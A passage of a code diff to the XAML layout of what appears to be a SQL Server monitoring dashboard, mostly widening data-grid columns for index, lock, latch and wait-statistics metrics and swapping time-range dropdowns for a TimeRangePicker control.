                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="DatabaseDataSizeMb" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -1482,7 +1515,7 @@
                                     </Style>
                                 </DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding OnlineIndexVersionStoreMb, StringFormat='{}{0:N2}'}" Width="130">
+                            <DataGridTextColumn Binding="{Binding OnlineIndexVersionStoreMb, StringFormat='{}{0:N2}'}" Width="150">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="OnlineIndexVersionStoreMb" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -1495,7 +1528,7 @@
                                     </Style>
                                 </DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding AbortedTransactionCount, StringFormat='{}{0:N0}'}" Width="100">
+                            <DataGridTextColumn Binding="{Binding AbortedTransactionCount, StringFormat='{}{0:N0}'}" Width="135">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="AbortedTransactionCount" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -1508,7 +1541,7 @@
                                     </Style>
                                 </DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding OldestActiveTransactionId, StringFormat='{}{0:N0}'}" Width="130">
+                            <DataGridTextColumn Binding="{Binding OldestActiveTransactionId, StringFormat='{}{0:N0}'}" Width="155">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="OldestActiveTransactionId" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -1521,7 +1554,7 @@
                                     </Style>
                                 </DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding OldestAbortedTransactionId, StringFormat='{}{0:N0}'}" Width="140">
+                            <DataGridTextColumn Binding="{Binding OldestAbortedTransactionId, StringFormat='{}{0:N0}'}" Width="165">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="OldestAbortedTransactionId" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -1547,7 +1580,7 @@
                                     </Style>
                                 </DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding CleanupState}" Width="90">
+                            <DataGridTextColumn Binding="{Binding CleanupState}" Width="106">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="CleanupState" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -1555,7 +1588,7 @@
                                     </StackPanel>
                                 </DataGridTextColumn.Header>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding LastCleanupEnd, StringFormat='{}{0:yyyy-MM-dd HH:mm:ss}'}" Width="150">
+                            <DataGridTextColumn Binding="{Binding LastCleanupEnd, StringFormat='{}{0:yyyy-MM-dd HH:mm:ss}'}" Width="156">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="LastCleanupEnd" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -1563,7 +1596,7 @@
                                     </StackPanel>
                                 </DataGridTextColumn.Header>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding SkippedLowWaterMark, StringFormat='{}{0:N0}'}" Width="140">
+                            <DataGridTextColumn Binding="{Binding SkippedLowWaterMark, StringFormat='{}{0:N0}'}" Width="171">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="SkippedLowWaterMark" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -1576,7 +1609,7 @@
                                     </Style>
                                 </DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding SkippedMinUsefulXts, StringFormat='{}{0:N0}'}" Width="140">
+                            <DataGridTextColumn Binding="{Binding SkippedMinUsefulXts, StringFormat='{}{0:N0}'}" Width="160">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="SkippedMinUsefulXts" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -1589,7 +1622,7 @@
                                     </Style>
                                 </DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding SkippedOldestAborted, StringFormat='{}{0:N0}'}" Width="140">
+                            <DataGridTextColumn Binding="{Binding SkippedOldestAborted, StringFormat='{}{0:N0}'}" Width="155">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="SkippedOldestAborted" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -1656,7 +1689,7 @@
                               LoadingRow="MarkedGrid_LoadingRow">
                         <DataGrid.Columns>
                             <!-- Actionable columns first -->
-                            <DataGridTextColumn Binding="{Binding Level}" Width="80">
+                            <DataGridTextColumn Binding="{Binding Level}" Width="90">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="Level" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -1672,7 +1705,7 @@
                                     </StackPanel>
                                 </DataGridTextColumn.Header>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding SpaceSavedGb}" Width="110" SortMemberPath="SpaceSavedGbSort">
+                            <DataGridTextColumn Binding="{Binding SpaceSavedGb}" Width="150" SortMemberPath="SpaceSavedGbSort">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="SpaceSavedGb" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -1681,7 +1714,7 @@
                                 </DataGridTextColumn.Header>
                                 <DataGridTextColumn.ElementStyle><Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style></DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding SpaceReductionPercent}" Width="95" SortMemberPath="SpaceReductionPercentSort">
+                            <DataGridTextColumn Binding="{Binding SpaceReductionPercent}" Width="130" SortMemberPath="SpaceReductionPercentSort">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="SpaceReductionPercent" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -1690,7 +1723,7 @@
                                 </DataGridTextColumn.Header>
                                 <DataGridTextColumn.ElementStyle><Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style></DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding RemovableIndexes}" Width="90" SortMemberPath="RemovableIndexesSort">
+                            <DataGridTextColumn Binding="{Binding RemovableIndexes}" Width="120" SortMemberPath="RemovableIndexesSort">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="RemovableIndexes" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -1699,7 +1732,7 @@
                                 </DataGridTextColumn.Header>
                                 <DataGridTextColumn.ElementStyle><Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style></DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding CurrentSizeGb}" Width="115" SortMemberPath="CurrentSizeGbSort">
+                            <DataGridTextColumn Binding="{Binding CurrentSizeGb}" Width="145" SortMemberPath="CurrentSizeGbSort">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="CurrentSizeGb" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -1708,7 +1741,7 @@
                                 </DataGridTextColumn.Header>
                                 <DataGridTextColumn.ElementStyle><Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style></DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding SizeAfterCleanupGb}" Width="125" SortMemberPath="SizeAfterCleanupGbSort">
+                            <DataGridTextColumn Binding="{Binding SizeAfterCleanupGb}" Width="155" SortMemberPath="SizeAfterCleanupGbSort">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="SizeAfterCleanupGb" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -1718,7 +1751,7 @@
                                 <DataGridTextColumn.ElementStyle><Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style></DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
                             <!-- Index counts -->
-                            <DataGridTextColumn Binding="{Binding TotalIndexes}" Width="100" SortMemberPath="TotalIndexesSort">
+                            <DataGridTextColumn Binding="{Binding TotalIndexes}" Width="135" SortMemberPath="TotalIndexesSort">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="TotalIndexes" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -1727,7 +1760,7 @@
                                 </DataGridTextColumn.Header>
                                 <DataGridTextColumn.ElementStyle><Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style></DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding MergeableIndexes}" Width="90" SortMemberPath="MergeableIndexesSort">
+                            <DataGridTextColumn Binding="{Binding MergeableIndexes}" Width="120" SortMemberPath="MergeableIndexesSort">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="MergeableIndexes" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -1736,7 +1769,7 @@
                                 </DataGridTextColumn.Header>
                                 <DataGridTextColumn.ElementStyle><Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style></DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding CompressableIndexes}" Width="100" SortMemberPath="CompressableIndexesSort">
+                            <DataGridTextColumn Binding="{Binding CompressableIndexes}" Width="135" SortMemberPath="CompressableIndexesSort">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="CompressableIndexes" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -1745,7 +1778,7 @@
                                 </DataGridTextColumn.Header>
                                 <DataGridTextColumn.ElementStyle><Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style></DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding PercentRemovable}" Width="95" SortMemberPath="PercentRemovableSort">
+                            <DataGridTextColumn Binding="{Binding PercentRemovable}" Width="135" SortMemberPath="PercentRemovableSort">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="PercentRemovable" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -1771,7 +1804,7 @@
                                     </StackPanel>
                                 </DataGridTextColumn.Header>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding TablesAnalyzed}" Width="70">
+                            <DataGridTextColumn Binding="{Binding TablesAnalyzed}" Width="95">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="TablesAnalyzed" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -1798,7 +1831,7 @@
                                 </DataGridTextColumn.Header>
                             </DataGridTextColumn>
                             <!-- Remaining detail -->
-                            <DataGridTextColumn Binding="{Binding ComputedColumnsWithUdfs}" Width="130">
+                            <DataGridTextColumn Binding="{Binding ComputedColumnsWithUdfs}" Width="170">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="ComputedColumnsWithUdfs" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -1807,7 +1840,7 @@
                                 </DataGridTextColumn.Header>
                                 <DataGridTextColumn.ElementStyle><Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style></DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding CheckConstraintsWithUdfs}" Width="150">
+                            <DataGridTextColumn Binding="{Binding CheckConstraintsWithUdfs}" Width="185">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="CheckConstraintsWithUdfs" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -1816,7 +1849,7 @@
                                 </DataGridTextColumn.Header>
                                 <DataGridTextColumn.ElementStyle><Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style></DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding FilteredIndexesNeedingIncludes}" Width="170">
+                            <DataGridTextColumn Binding="{Binding FilteredIndexesNeedingIncludes}" Width="190">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="FilteredIndexesNeedingIncludes" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -1825,7 +1858,7 @@
                                 </DataGridTextColumn.Header>
                                 <DataGridTextColumn.ElementStyle><Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style></DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding TotalRows}" Width="100" SortMemberPath="TotalRowsSort">
+                            <DataGridTextColumn Binding="{Binding TotalRows}" Width="120" SortMemberPath="TotalRowsSort">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="TotalRows" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -1842,7 +1875,7 @@
                                     </StackPanel>
                                 </DataGridTextColumn.Header>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding Writes}" Width="90" SortMemberPath="WritesSort">
+                            <DataGridTextColumn Binding="{Binding Writes}" Width="95" SortMemberPath="WritesSort">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="Writes" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -1851,7 +1884,7 @@
                                 </DataGridTextColumn.Header>
                                 <DataGridTextColumn.ElementStyle><Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style></DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding DailyWriteOpsSaved}" Width="130" SortMemberPath="DailyWriteOpsSavedSort">
+                            <DataGridTextColumn Binding="{Binding DailyWriteOpsSaved}" Width="166" SortMemberPath="DailyWriteOpsSavedSort">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="DailyWriteOpsSaved" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -1860,7 +1893,7 @@
                                 </DataGridTextColumn.Header>
                                 <DataGridTextColumn.ElementStyle><Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style></DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding LockWaitCount}" Width="95" SortMemberPath="LockWaitCountSort">
+                            <DataGridTextColumn Binding="{Binding LockWaitCount}" Width="120" SortMemberPath="LockWaitCountSort">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="LockWaitCount" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -1869,7 +1902,7 @@
                                 </DataGridTextColumn.Header>
                                 <DataGridTextColumn.ElementStyle><Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style></DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding DailyLockWaitsSaved}" Width="150" SortMemberPath="DailyLockWaitsSavedSort">
+                            <DataGridTextColumn Binding="{Binding DailyLockWaitsSaved}" Width="185" SortMemberPath="DailyLockWaitsSavedSort">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="DailyLockWaitsSaved" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -1878,7 +1911,7 @@
                                 </DataGridTextColumn.Header>
                                 <DataGridTextColumn.ElementStyle><Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style></DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding AvgLockWaitMs}" Width="120" SortMemberPath="AvgLockWaitMsSort">
+                            <DataGridTextColumn Binding="{Binding AvgLockWaitMs}" Width="155" SortMemberPath="AvgLockWaitMsSort">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="AvgLockWaitMs" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -1887,7 +1920,7 @@
                                 </DataGridTextColumn.Header>
                                 <DataGridTextColumn.ElementStyle><Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style></DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding LatchWaitCount}" Width="95" SortMemberPath="LatchWaitCountSort">
+                            <DataGridTextColumn Binding="{Binding LatchWaitCount}" Width="120" SortMemberPath="LatchWaitCountSort">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="LatchWaitCount" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -1896,7 +1929,7 @@
                                 </DataGridTextColumn.Header>
                                 <DataGridTextColumn.ElementStyle><Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style></DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding DailyLatchWaitsSaved}" Width="155" SortMemberPath="DailyLatchWaitsSavedSort">
+                            <DataGridTextColumn Binding="{Binding DailyLatchWaitsSaved}" Width="190" SortMemberPath="DailyLatchWaitsSavedSort">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="DailyLatchWaitsSaved" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -1905,7 +1938,7 @@
                                 </DataGridTextColumn.Header>
                                 <DataGridTextColumn.ElementStyle><Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style></DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding AvgLatchWaitMs}" Width="130" SortMemberPath="AvgLatchWaitMsSort">
+                            <DataGridTextColumn Binding="{Binding AvgLatchWaitMs}" Width="160" SortMemberPath="AvgLatchWaitMsSort">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="AvgLatchWaitMs" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -1952,7 +1985,7 @@
                                     </StackPanel>
                                 </DataGridTextColumn.Header>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding SchemaName}" Width="80">
+                            <DataGridTextColumn Binding="{Binding SchemaName}" Width="100">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="SchemaName" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -2000,7 +2033,7 @@
                                     </StackPanel>
                                 </DataGridTextColumn.Header>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding IndexSizeGb}" Width="80" SortMemberPath="IndexSizeGbSort">
+                            <DataGridTextColumn Binding="{Binding IndexSizeGb}" Width="100" SortMemberPath="IndexSizeGbSort">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="IndexSizeGb" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -2027,7 +2060,7 @@
                                 </DataGridTextColumn.Header>
                                 <DataGridTextColumn.ElementStyle><Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style></DataGridTextColumn.ElementStyle>
                             </DataGridTextColumn>
-                            <DataGridTextColumn Binding="{Binding IndexWrites}" Width="90" SortMemberPath="IndexWritesSort">
+                            <DataGridTextColumn Binding="{Binding IndexWrites}" Width="95" SortMemberPath="IndexWritesSort">
                                 <DataGridTextColumn.Header>
                                     <StackPanel Orientation="Horizontal">
                                         <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="IndexWrites" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -2125,7 +2158,7 @@
                                             </StackPanel>
                                         </DataGridTextColumn.Header>
                                     </DataGridTextColumn>
-                                    <DataGridTextColumn Binding="{Binding TotalSizeMb, StringFormat='{}{0:N2}'}" Width="120">
+                                    <DataGridTextColumn Binding="{Binding TotalSizeMb, StringFormat='{}{0:N2}'}" Width="135">
                                         <DataGridTextColumn.Header>
                                             <StackPanel Orientation="Horizontal">
                                                 <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="TotalSizeMb" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -2136,7 +2169,7 @@
                                             <Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style>
                                         </DataGridTextColumn.ElementStyle>
                                     </DataGridTextColumn>
-                                    <DataGridTextColumn Binding="{Binding FileCount}" Width="60">
+                                    <DataGridTextColumn Binding="{Binding FileCount}" Width="80">
                                         <DataGridTextColumn.Header>
                                             <StackPanel Orientation="Horizontal">
                                                 <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="FileCount" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -2188,7 +2221,7 @@
                                             </StackPanel>
                                         </DataGridTextColumn.Header>
                                     </DataGridTextColumn>
-                                    <DataGridTextColumn Binding="{Binding CurrentMb, StringFormat='{}{0:N2}'}" Width="110">
+                                    <DataGridTextColumn Binding="{Binding CurrentMb, StringFormat='{}{0:N2}'}" Width="125">
                                         <DataGridTextColumn.Header>
                                             <StackPanel Orientation="Horizontal">
                                                 <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="CurrentMb" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -2199,7 +2232,7 @@
                                             <Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style>
                                         </DataGridTextColumn.ElementStyle>
                                     </DataGridTextColumn>
-                                    <DataGridTextColumn Binding="{Binding Peak24hMb, StringFormat='{}{0:N2}'}" Width="110">
+                                    <DataGridTextColumn Binding="{Binding Peak24hMb, StringFormat='{}{0:N2}'}" Width="130">
                                         <DataGridTextColumn.Header>
                                             <StackPanel Orientation="Horizontal">
                                                 <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="Peak24hMb" Click="FilterButton_Click" Margin="0,0,4,0"/>
@@ -2234,14 +2267,7 @@
                             <StackPanel Orientation="Horizontal">
                                 <TextBlock Text="Wait Stats Summary" VerticalAlignment="Center"/>
                                 <TextBlock Text="  Time Range:" VerticalAlignment="Center" Margin="12,0,4,0" FontSize="11"/>
-                                <ComboBox x:Name="WaitStatsTimeRangeCombo" SelectedIndex="3" Width="120" FontSize="11"
-                                          SelectionChanged="WaitStatsTimeRange_Changed">
-                                    <ComboBoxItem Content="Last 1 hour"/>
-                                    <ComboBoxItem Content="Last 4 hours"/>
-                                    <ComboBoxItem Content="Last 12 hours"/>
-                                    <ComboBoxItem Content="Last 24 hours"/>
-                                    <ComboBoxItem Content="Last 7 days"/>
-                                </ComboBox>
+                                <ui:TimeRangePicker x:Name="WaitStatsTimeRangePicker" Compact="True" RangeChanged="WaitStatsTimeRange_RangeChanged"/>
                             </StackPanel>
                         </Expander.Header>
                         <StackPanel>
@@ -2257,25 +2283,25 @@
                                       RowStyle="{StaticResource DefaultRowStyle}"
                               LoadingRow="MarkedGrid_LoadingRow">
                                 <DataGrid.Columns>
-                                    <DataGridTextColumn Binding="{Binding Category}" Width="100">
+                                    <DataGridTextColumn Binding="{Binding Category}" Width="110">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="Category" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Category" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                     </DataGridTextColumn>
-                                    <DataGridTextColumn Binding="{Binding TotalWaitTimeMs, StringFormat='{}{0:N0}'}" Width="120">
+                                    <DataGridTextColumn Binding="{Binding TotalWaitTimeMs, StringFormat='{}{0:N0}'}" Width="135">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="TotalWaitTimeMs" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Total Wait ms" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                         <DataGridTextColumn.ElementStyle><Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style></DataGridTextColumn.ElementStyle>
                                     </DataGridTextColumn>
-                                    <DataGridTextColumn Binding="{Binding WaitingTasks, StringFormat='{}{0:N0}'}" Width="110">
+                                    <DataGridTextColumn Binding="{Binding WaitingTasks, StringFormat='{}{0:N0}'}" Width="135">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="WaitingTasks" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Waiting Tasks" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                         <DataGridTextColumn.ElementStyle><Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style></DataGridTextColumn.ElementStyle>
                                     </DataGridTextColumn>
-                                    <DataGridTextColumn Binding="{Binding PctOfTotal, StringFormat='{}{0:N1}'}" Width="90">
+                                    <DataGridTextColumn Binding="{Binding PctOfTotal, StringFormat='{}{0:N1}'}" Width="115">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="PctOfTotal" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="% of Total" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                         <DataGridTextColumn.ElementStyle><Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style></DataGridTextColumn.ElementStyle>
                                     </DataGridTextColumn>
                                     <DataGridTextColumn Binding="{Binding TopWaitType}" Width="200">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="TopWaitType" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Top Wait Type" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                     </DataGridTextColumn>
-                                    <DataGridTextColumn Binding="{Binding TopWaitTimeMs, StringFormat='{}{0:N0}'}" Width="110">
+                                    <DataGridTextColumn Binding="{Binding TopWaitTimeMs, StringFormat='{}{0:N0}'}" Width="125">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="TopWaitTimeMs" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Top Wait ms" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                         <DataGridTextColumn.ElementStyle><Style TargetType="TextBlock"><Setter Property="HorizontalAlignment" Value="Right"/></Style></DataGridTextColumn.ElementStyle>
                                     </DataGridTextColumn>
@@ -2300,14 +2326,7 @@
                             <StackPanel Orientation="Horizontal">
                                 <TextBlock Text="Expensive Queries (Top 20 by CPU)" VerticalAlignment="Center"/>
                                 <TextBlock Text="  Time Range:" VerticalAlignment="Center" Margin="12,0,4,0" FontSize="11"/>
-                                <ComboBox x:Name="ExpensiveQueriesTimeRangeCombo" SelectedIndex="3" Width="120" FontSize="11"
